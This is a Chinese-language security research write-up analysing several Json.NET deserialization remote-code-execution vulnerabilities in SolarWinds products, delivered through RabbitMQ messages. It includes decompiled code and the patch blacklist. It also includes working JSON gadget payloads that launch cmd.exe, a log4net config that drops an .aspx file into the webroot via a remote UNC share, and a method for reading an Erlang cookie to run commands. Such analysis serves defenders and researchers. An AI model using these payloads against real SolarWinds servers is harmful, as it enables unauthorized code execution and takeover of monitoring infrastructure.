环境搭建和介绍
这系列漏洞都是基于Json.net的反序列化:
-
三方组件自定义不安全的反序列化RCE(CVE-2022-38108)
-
JsonConverter自定义不安全反序列化RCE(CVE-2022-36957)
-
挖掘适用于Json的TextFormattingRunProperties利用链RCE(CVE-2022-38111)
-
利用Json特性挖掘适用于solarwinds的利用链RCE(CVE-2022-47503、CVE-2022-47507、CVE-2023-23836、CVE-2022-36957)
最后通过这些漏洞拓展了挖掘Json.net反序列化的思路。
SolarWinds-NPM-202203默认安装,配置rabbitmq用户,默认用户orion
rabbitmqctl.bat add_user admin admin
rabbitmqctl.bat set_permissions admin .* .* .*
rabbitmqctl.bat set_user_tags admin administrator
CVE-2022-38108
对比diff很明显的反序列化,修复是通过黑名单方式修复
RabbitMQ 发送到 Solarwinds(SWIS) 的消息内容包含 Json.NET 序列化对象,solarwinds反序列化Json数据时TypeNameHandling设置为Auto,并且未配置类型校验导致RCE,借用chudyPB 的一张图
对EasyNetQ来说,反序列化器可以自定义或者使用自带的比如 NewtonsoftJsonSerializer,反序列化器会在初始化连接的时候进行注册,如
IBus bus = null;
string connString = "host=192.168.45.142:5672;virtualHost=/;username=admin;password=admin";
// serviceRegister 需要自定义反序列化器需要实现ISerializer接口
bus = RabbitHutch.CreateBus(connString, serviceRegister =>
{
serviceRegister.Register<ISerializer>(resolver =>
new CustomSerializer());
});
全局搜索找到Solarwinds注册的反序列化器为 EasyNetQSerializer
//SolarWinds.MessageBus.RabbitMQ.EasyNetQueueConnection
this._bus = RabbitHutch.CreateBus(connectionConfiguration, delegate(IServiceRegister x)
{
x.Register<ISerializer, EasyNetQSerializer>(Lifetime.Singleton);
});
在EasyNetQ.RabbitAdvancedBus.Consume打个断点,向RabbitMQ(routing_key=’SwisPubSub’)发送消息时,会将二进制数据交给EasyNetQ处理进行反序列化的操作。
并且可以看到此时反序列化器为EasyNetQSerializer。DeserializeMessage方法有两个参数properties和body,properties中包含了反序列化格式和类型,body的内容包括了我们发送的json数据如下:
跟进DeserializeMessage方法,实现如下
public IMessage DeserializeMessage(MessageProperties properties, byte[] body)
{
//拿到消息属性中的type
Type messageType = this.typeNameSerializer.DeSerialize(properties.Type);
//反序列化body
object body2 = this.serializer.BytesToMessage(messageType, body);
return MessageFactory.CreateInstance(messageType, body2, properties);
}
这里会提取properties中的Type,当作反序列化后的类型,可控。
继续跟进,很明显的反序列化
放个三月份的复现截图
修复方式启用了黑名单
"System.Diagnostics.Process",
"System.Diagnostics.ProcessStartInfo",
"System.Data.Services.Internal.ExpandedWrapper",
"System.Workflow.ComponentModel.AppSettings",
"Microsoft.PowerShell.Editor",
"System.Windows.Forms.AxHost.State",
"System.Security.Claims.ClaimsIdentity",
"System.Security.Claims.ClaimsPrincipal",
"System.Runtime.Remoting.ObjRef",
"System.Drawing.Design.ToolboxItemContainer",
"System.DelegateSerializationHolder",
"System.DelegateSerializationHolder+DelegateEntry",
"System.Activities.Presentation.WorkflowDesigner",
"System.Windows.ResourceDictionary",
"System.Windows.Data.ObjectDataProvider",
"System.Windows.Forms.BindingSource",
"Microsoft.Exchange.Management.SystemManager.WinForms.ExchangeSettingsProvider",
"System.Management.Automation.PSObject",
"System.Configuration.Install.AssemblyInstaller",
"System.Security.Principal.WindowsIdentity",
"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector",
"System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate+ObjectSerializedRef",
"System.Web.Security.RolePrincipal",
"System.IdentityModel.Tokens.SessionSecurityToken",
"System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem",
"Microsoft.IdentityModel.Claims.WindowsClaimsIdentity",
"System.Security.Principal.WindowsPrincipal"
CVE-2022-38111
影响版本 SolarWinds Platform 2022.4.1,至此以后的版本都添加了白名单。
最近 chudyPB 更新了ysoserial,包括适用于Json.net的新链TextFormattingRunProperties。
JSON.NET 特性
-
构造函数选择机制
-
查找[JsonConstructorAttribute]特性的constrcutor
-
查找不接受参数的公共构造函数
-
查找是否具有带参数的单个构造函数
-
最后检查对于非公共默认构造函数(ConstructorHandling = ConstructorHandling.AllowNonPublicDefaultConstructor)
-
序列化机制
-
Json.NET可以调用类的无参公共构造函数并调用其公共setter
-
可序列化的构造函数(带有 SerializationInfo 和StreamingContext 参数)和 SerializationCallbacks(https://www.newtonsoft.com/json/help/html/SerializationCallbacks.htm)
复习BinaryFormatter_TextFormattingRunProperties链:
TextFormattingRunProperties构造函数–>GetObjectFromSerializationInfo()–>XamlReader.Parse(@string),BinaryFormatter的exp是通过重写构造函数将ForegroundBrush的值插入SerializationInfo中,最后触发RCE。
Newtonsoft ???
如果使TextFormattingRunProperties链适用于Newtonsoft,只能:
-
setter xamltext(并没有)
-
SerializationInfo可控
跟踪其反序列化的过程,在JsonSerializerInternalReader#CreateISerializable中也会将键值对插入到SerializationInfo中,最后反序列化触发RCE,代码如下:
适用于Json.net的TextFormattingRunProperties链
{"$type":"Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties, Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35","ForegroundBrush":"<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>cmd.exe</System:String>
<System:String>/c calc.exe</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>"}
从而绕过黑名单。
CVE-2022-36957
和CVE-2022-38108入口点一样,对比diff在PropertyBagJsonConverter新增新增黑名单
看看具体是如何实现的
//SolarWinds.MessageBus.Models.PropertyBagJsonConverter
//自定义反序列化过程ReadJson
public override object ReadJson(JsonReader reader, Type objectType, object existingValue, JsonSerializer serializer)
{
if (reader.TokenType == JsonToken.Null)
{
return null;
}
if (reader.TokenType == JsonToken.StartObject)
{
PropertyBag propertyBag = new PropertyBag();
foreach (JProperty jproperty in JObject.Load(reader).Properties())
{
object value;
if (jproperty.Value.Type == JTokenType.Null)
{
value = null;
}
else
{
JObject jobject = (JObject)jproperty.Value;
Type type = Type.GetType((string)jobject["t"]);
value = jobject["v"].ToObject(type, serializer);
}
propertyBag[jproperty.Name] = value;
}
return propertyBag;
}
throw new InvalidOperationException(string.Format("Unexpected json token type {0}", reader.TokenType));
}
t和v均可控,现在就要考虑如何调用到这。该类继承了JsonConverter实现了自定义的反序列化器,具体用法参考 CustomJsonConverter.htm。
存在以下两种情况:
-
JsonSerializerSettings中注册了PropertyBagJsonConverter(没找到)
-
找到使用了PropertyBagJsonConverter特性的类反序列化的点即类标记[JsonConverter(typeof(PropertyBagJsonConverter))]
第二种情况找到了SolarWinds.MessageBus.Models.PropertyBag类,只需要向rabbitmq发送type为SolarWinds.MessageBus.Models.PropertyBag, SolarWinds.MessageBus 的json数据,最终就能调用到SolarWinds.MessageBus.Models.PropertyBagJsonConverter#Readjson触发发序列化,payload
"payload": {
"t": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"v": {
"$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName": "Start",
"MethodParameters": {
"$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values": ["cmd", "/c whoami > c:\PropertyBag.txt"]
},
"ObjectInstance": {
"$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}
}
}
CVE-2022-47503
影响版本 SolarWinds Platform 2022.4.1
漏洞作者找了一条适用于solarwinds的利用链WorkerControllerWCFProxy_RCE
主要代码如下:
//SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine
internal class WorkerControllerWCFProxy : IWorkerControllerProxy, IWorkerControllerService, IDisposable
{
public event EventHandler WorkerControllerTerminated;
//静态无参构造函数
static WorkerControllerWCFProxy()
{
ServicePointManager.ServerCertificateValidationCallback = (RemoteCertificateValidationCallback)Delegate.Combine(ServicePointManager.ServerCertificateValidationCallback, new RemoteCertificateValidationCallback((object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors) => true));
}
//公开的、唯一的有参构造函数,Json.net会调用
public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)
{
this.workerConfiguration = workerConfiguration;
this.operationMode = operationMode;
this.workerProcessLabel = workerProcessLabel;
this.uri = this.LaunchWorkerProcess();
this.Connect();
}
........
// 返回ProcessStartInfo,进程路径和参数来自this.workerConfiguration,可控
private ProcessStartInfo CreateCustomWorkerProcessStartInfo()
{
int availablePort = NetworkHelper.GetAvailablePort(JobEngineSettings.GetSection().MinCustomWorkerPortNumber, JobEngineSettings.GetSection().MaxCustomWorkerPortNumber);
if (availablePort <= 0)
{
throw new Exception("Unable to get free port for worker process");
}
this.Port = (ushort)availablePort;
string text = string.Format("{0} -port {1} -id {2} -ppid {3}", new object[]
{
this.workerConfiguration.CommandArguments,
this.Port,
this.id,
Process.GetCurrentProcess().Id
});
string text2 = Path.Combine(this.pluginDirectory.Value, this.workerConfiguration.CommandLine);
if (WorkerControllerWCFProxy.log.IsDebugEnabled)
{
WorkerControllerWCFProxy.log.DebugFormat("Custom worker commandline: {0} {1}", text2, text);
}
return new ProcessStartInfo(text2)
{
Arguments = text,
WorkingDirectory = this.pluginDirectory.Value
};
}
........
// 构造函数中调用,当WorkerType等于Custom会调用CreateCustomWorkerProcessStartInfo,workerType来自workerConfiguration
private Uri LaunchWorkerProcess()
{
WorkerType workerType = this.workerConfiguration.WorkerType;
ProcessStartInfo processStartInfo;
if (workerType != WorkerType.Native)
{
if (workerType != WorkerType.Custom)
{
throw new ArgumentOutOfRangeException();
}
WorkerControllerWCFProxy.log.Debug("Launching Custom Worker Process");
processStartInfo = this.CreateCustomWorkerProcessStartInfo();
}
else
{
WorkerControllerWCFProxy.log.Debug("Launching Native Worker Process");
processStartInfo = this.CreateNativeWorkerProcessStartInfo();
}
processStartInfo.UseShellExecute = false;
Uri result = null;
using (EventWaitHandle eventWaitHandle = new EventWaitHandle(false, EventResetMode.ManualReset, WorkerSynchronizationHelper.GetWorkerProcessWaitHandleName(this.id.ToString())))
{
this.process = Process.Start(processStartInfo);
this.ProcessId = this.process.Id;
while (!eventWaitHandle.WaitOne(10, false))
{
if (this.process.WaitForExit(0))
{
throw new Exception("Failure starting worker process");
}
}
}
if (this.workerConfiguration.WorkerType == WorkerType.Native)
{
result = WorkerAddressDirectory.GetWorkerAddress(this.id);
}
if (WorkerControllerWCFProxy.log.IsInfoEnabled)
{
WorkerControllerWCFProxy.log.InfoFormat("Started new worker process with pid {0}", this.ProcessId);
}
return result;
}
该类有一个LaunchWorkerProcess方法能够启动一个新的进程,所有参数来自workerConfiguration类中WorkerType、CommandLine、CommandArguments
上面说了Json.net的反序列化特性,当反序列化该类时会调用唯一有参构造函数,并且能够向构造函数传入参数。
public WorkerControllerWCFProxy(WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode, string workerProcessLabel)
{
this.workerConfiguration = workerConfiguration;
this.operationMode = operationMode;
this.workerProcessLabel = workerProcessLabel;
this.uri = this.LaunchWorkerProcess();
this.Connect();
}
所以重点关注WorkerConfiguration类中的几个参数是否可控
显而易见public and setter,poc
"$type": "SolarWinds.JobEngine.Engine.WorkerControllerWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
"workerConfiguration": {
"$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
"WorkerType": 1,
"CommandLine":
"..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\System32\cmd.exe",
"CommandArguments": "/c whoami > C:\poc.txt & "
},
"operationMode": 0,
"workerProcessLabel": "whatever"
}
CVE-2022-47507
关键类是WorkerProcessWCFProxy,实现如下
//SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy
internal class WorkerProcessWCFProxy : WorkerProcessProxyBase, IWorkerProcessProxyWithShadowCacheCleanup, IWorkerProcessProxy, IJobExecutionEngine, IDisposable
{
public WorkerProcessWCFProxy(int maxConcurrentJobs, string assemblyName, WorkerConfiguration workerConfiguration, ServiceOperationMode operationMode)
{
this.maxConcurrentJobs = maxConcurrentJobs;
this.assemblyName = assemblyName;
this.operationMode = operationMode;
this.workerConfiguration = workerConfiguration;
try
{
this.CreateWorkerController();
this.LaunchWorker();
this.Connect();
}
catch (Exception)
{
this.Terminate();
throw;
}
}
......
// 这里直接调用上面的WorkerControllerWCFProxy类,可RCE
private void CreateWorkerController()
{
this.workerController = new WorkerControllerWCFProxy(this.workerConfiguration, this.operationMode, this.assemblyName);
}
CreateWorkerController方法调用了WorkerControllerWCFProxy,补全构造函数就行。
{
"$type": "SolarWinds.JobEngine.Engine.WorkerProcessWCFProxy, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
"maxConcurrentJobs": 5,
"workerConfiguration": {
"$type": "SolarWinds.JobEngine.WorkerConfiguration, SolarWinds.JobEngine, Version=2022.4.0.0, Culture=neutral, PublicKeyToken=null",
"WorkerType": 1,
"CommandLine": "..\..\..\..\..\..\..\..\..\..\..\..\..\Windows\System32\cmd.exe",
"CommandArguments": "/c calc.exe & "
},
"operationMode": 0,
"assemblyName": "whatever"
}
CVE-2023-23836(文件写->RCE)
利用类是CredentialInitializer
[ ]
public class CredentialInitializer
{
//公共唯一构造函数
public CredentialInitializer(string logConfigFile)
{
try
{
this.ConfigureLog(logConfigFile);
this.InstallCertificate();
this.ConvertCredentials();
this.ConvertOldSnmpv3Credentials();
}
catch (Exception exception)
{
CredentialInitializer.log.Error("Error occurred when trying to initialize shared credentials", exception);
throw;
}
}
//加载配置
private void ConfigureLog(string configFile)
{
if (string.IsNullOrEmpty(configFile))
{
Log.Configure(string.Empty);
}
else
{
Log.Configure(configFile);
}
CredentialInitializer.log.DebugFormat("Used log configuration file: {0}", configFile);
}
// SolarWinds.Logging.Log
.......
// 提取log4net标签并加载配置
public static void Configure(string configFile = null)
{
foreach (string text in Log.EnumFile(configFile))
{
if (!string.IsNullOrEmpty(text))
{
FileInfo fileInfo = new FileInfo(text);
if (fileInfo.Exists)
{
HashSet<string> configurations = Log._configurations;
lock (configurations)
{
if (Log._configurations.Contains(fileInfo.FullName))
{
continue;
}
}
try
{
XmlDocument xmlDocument = new XmlDocument();
xmlDocument.Load(fileInfo.FullName);
XmlNodeList elementsByTagName = xmlDocument.GetElementsByTagName("log4net");
if (elementsByTagName != null && elementsByTagName.Count > 0)
{
configurations = Log._configurations;
lock (configurations)
{
if (!Log._configurations.Contains(fileInfo.FullName))
{
XmlConfigurator.ConfigureAndWatch(fileInfo);
Log._configurations.Add(fileInfo.FullName);
}
}
}
}
catch
{
}
}
}
}
}
利用log4net日志功能写入文件,原配置文件在 C:Program FilesSolarWindsOrionSolarWinds.Cortex.log4net.config,参考 https://gist.github.com/PatrickMcDonald/3182660
这里利用需要修改两处配置:
// 修改RollingLogFileAppender
<appender name="RollingLogFileAppender" type="log4net.Appender.RollingFileAppender">
<file value="C:inetpubwwwrootpoc.aspx" type="log4net.Util.PatternString" />
<encoding value="utf-8" />
<appendToFile value="false" />
<rollingStyle value="Size" />
<maxSizeRollBackups value="5" />
<maximumFileSize value="10MB" />
<layout type="log4net.Layout.PatternLayout">
<header type="log4net.Util.PatternString" value="hackhack" />
<conversionPattern value="" />
</layout>
</appender>
// 新增logger
<logger name="SolarWinds.IPAM.Storage.Credentials.CredentialInitializer">
<level value="DEBUG"></level>
</logger>
poc
//写文件
{
"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null",
"logConfigFile":"\\192.168.1.10\x.config"
}
//恢复配置
{
"$type":"SolarWinds.IPAM.Storage.Credentials.CredentialInitializer, SolarWinds.IPAM.Storage, Version=2022.4.0.0, Culture=neutral,PublicKeyToken=null",
"logConfigFile":"C:\Program Files\SolarWinds\Orion\SolarWinds.Cortex.log4net.config"
}
发送payload最终生成文件。
CVE-2022-36957(文件读->RCE)
利用类在SqlFileScript
namespace SolarWinds.Database.Setup.Internals
{
[ ]
internal class SqlFileScript : SqlScript
{
public SqlFileScript(FileInfo scriptFile) : base(scriptFile.FullName, null)
{
this.scriptFile = scriptFile;
}
//getter
public override string Contents
{
get
{
string result;
if ((result = this.contents) == null)
{
result = (this.contents = File.ReadAllText(this.scriptFile.FullName));
}
return result;
}
}
private volatile string contents;
private readonly FileInfo scriptFile;
}
}
与前面几个CVE不同的是,触发漏洞是在序列化触发的。如上代码文件读的过程是在序列化过程调用getter触发的,攻击流程是发送恶意数据触发反序列化SqlFileScript类,服务端序列化消息发送给RabbitMq,攻击者通过读取队列消息拿到文件内容,利用读取到的.erlang.cookie的值通过erl执行命令。
拓展
参考CVE-2022-36957,最终漏洞利用是通过不安全的序列化(call getter)导致的,实际场景中少有类似利用链:unsafe deserialization(setter) –> Object –> unsafe serialization(getter)–> RCE,更多的是直接反序列化RCE,相当于Sink只有反序列化链或恶意setter,@chudyPB的新思路拓展了新的攻击面,寻找某些setter中调用任意getter:unsafe deserialization(setter)–> 任意getter –>RCE,由此诞生了很多新链子,具体见 https://github.com/pwntester/ysoserial.net/pull/156。
参考
https://zhuanlan.zhihu.com/p/37198933
https://www.cnblogs.com/focus-lei/p/9262638.html
https://www.newtonsoft.com/
https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf
原文始发于微信公众号(青藤实验室):SolarWinds BytetoMessage 反序列化 RCE 分析